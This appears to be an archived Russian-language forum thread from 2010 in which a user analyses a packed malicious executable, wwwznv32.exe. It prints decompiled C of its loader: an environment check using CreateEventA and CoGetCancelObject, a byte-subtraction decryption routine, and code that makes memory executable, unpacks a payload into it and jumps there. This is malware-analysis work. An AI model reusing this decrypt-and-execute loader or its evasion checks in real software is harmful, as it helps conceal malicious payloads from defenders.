PDA

Просмотр полной версии : wwwznv32.exe



Nerimash
18.07.2010, 15:39
Даный файл написан на MS VC ++, упакован.

ПРи запуске создает событие (event) : 1431198812, bManualReset = true, bInitialState = true; что означает что даное событие имеет цыклический характер и управляется внутри программы. При успешном выполнении функции создания события, код переходит к инструкции завершения.

Если GetLastError == 161(ERROR_BAD_PATHNAME) то делается попытка уничтожить интерфейс обьекта(CoGetCancelObject(0, 0, 0xFFFFFFFF). Если операция выполняется успешно то код переходит по инструкции завершения. В противном случае будет сделана попытка его создания.



#include <windows.h>
#include <defs.h>


//-------------------------------------------------------------------------
// Data declarations

extern _UNKNOWN unk_40D0D4; // weak
extern _UNKNOWN unk_414000; // weak

//-------------------------------------------------------------------------
// Function declarations

// BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
// HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName);
// LONG __stdcall InterlockedExchangeAdd(volatile LONG *Addend, LONG Value);
// DWORD __stdcall GetLastError();
// LPVOID __stdcall CoTaskMemAlloc(SIZE_T cb);
// HRESULT __stdcall CoGetCancelObject(DWORD dwThreadId, const IID *const iid, void **ppUnk);
void __stdcall sub_413000(int a1, int a2, unsigned int a3, int a4);
int __cdecl start();


//----- (00413000) --------------------------------------------------------
void __stdcall sub_413000(int a1, int a2, unsigned int a3, int a4)
{
unsigned int i; // [sp+0h] @1
int v5; // [sp+4h] [bp-4h]@1

v5 = 0;
for ( i = 0; i < a3; ++i )
{
*(_BYTE *)(i + a1) = *(_BYTE *)(i + a2) - *(_BYTE *)(v5++ + a4);
if ( v5 == 1 )
v5 = 0;
}
}

//----- (00413062) --------------------------------------------------------
int __cdecl start()
{
unsigned int v1; // [sp-8h] [bp-1C8h]@1
volatile LONG v2; // [sp-4h] [bp-1C4h]@1
DWORD flOldProtect; // [sp+14h] [bp-1ACh]@3
char v4; // [sp+18h] [bp-1A8h]@3
unsigned int v5; // [sp+24h] [bp-19Ch]@6
volatile LONG Addend; // [sp+198h] [bp-28h]@1
SIZE_T dwSize; // [sp+19Ch] [bp-24h]@3
volatile LONG v8; // [sp+1A0h] [bp-20h]@3
char *v9; // [sp+1A4h] [bp-1Ch]@3
int v10; // [sp+1A8h] [bp-18h]@3
char *v11; // [sp+1ACh] [bp-14h]@6
char *v12; // [sp+1B0h] [bp-10h]@3
int v13; // [sp+1B4h] [bp-Ch]@3
LPVOID lpAddress; // [sp+1B8h] [bp-8h]@3
unsigned int v15; // [sp+1BCh] [bp-4h]@3

Addend = 0;
v2 = 19532;
v1 = 1431198812;
CreateEventA(0, -1, -1, (LPCSTR)&v1);
if ( GetLastError() == 161 )
{
if ( CoGetCancelObject(0, 0, (void **)0xFFFFFFFF) == -2147417826 )
{
v13 = (int)&unk_40D0D4;
v15 = 0;
v12 = &v4;
Addend = 0;
InterlockedExchangeAdd(&Addend, (LONG)&unk_414000);
v9 = v12 + 16;
v15 ^= 0x38u;
sub_413000((int)&v4, v13, v15, Addend);
dwSize = *(_DWORD *)v12 + *((_DWORD *)v12 + 1);
lpAddress = CoTaskMemAlloc(dwSize);
VirtualProtect(lpAddress, dwSize, 0x40u, &flOldProtect);
v8 = 4194304;
v10 = 0;
flOldProtect = 0;
while ( flOldProtect < *((_DWORD *)v12 + 2) )
{
v2 = Addend;
v1 = *((_DWORD *)v9 + 1);
sub_413000((int)((char *)lpAddress + v10), *(_DWORD *)v9 + v8, v1, Addend);
v10 += *((_DWORD *)v9 + 1);
++flOldProtect;
v9 += 8;
}
v2 = v8;
v11 = (char *)lpAddress + 5776;
v1 = v5;
((void (__stdcall *)(char *, unsigned int))((char *)lpAddress + 5776))(
(char *)lpAddress + *((_DWORD *)v12 + 1),
v5);
}
}
return 0;
}


[B]Добавлено через 3 часа 31 минуту

Пока что на Win2k8 Standart Server i386 пациент всячески косячит и вешает систему. Для дальнейших исследований буду искать ОС по старше.

Nerimash
19.07.2010, 13:18
Сам по себе первый файл из карантина служыт каким-то чекером который проверяет успешную инсталяцию обьекта в системе.После первого запуска и распаковки обьекта в систему код после проверки инструкции CoCancelObject сразу перемешается на завершение процесса


TEXT:004131BA XOR EAX,EAX
TEXT:004131BC LEAVE
TEXT:004131BD RETN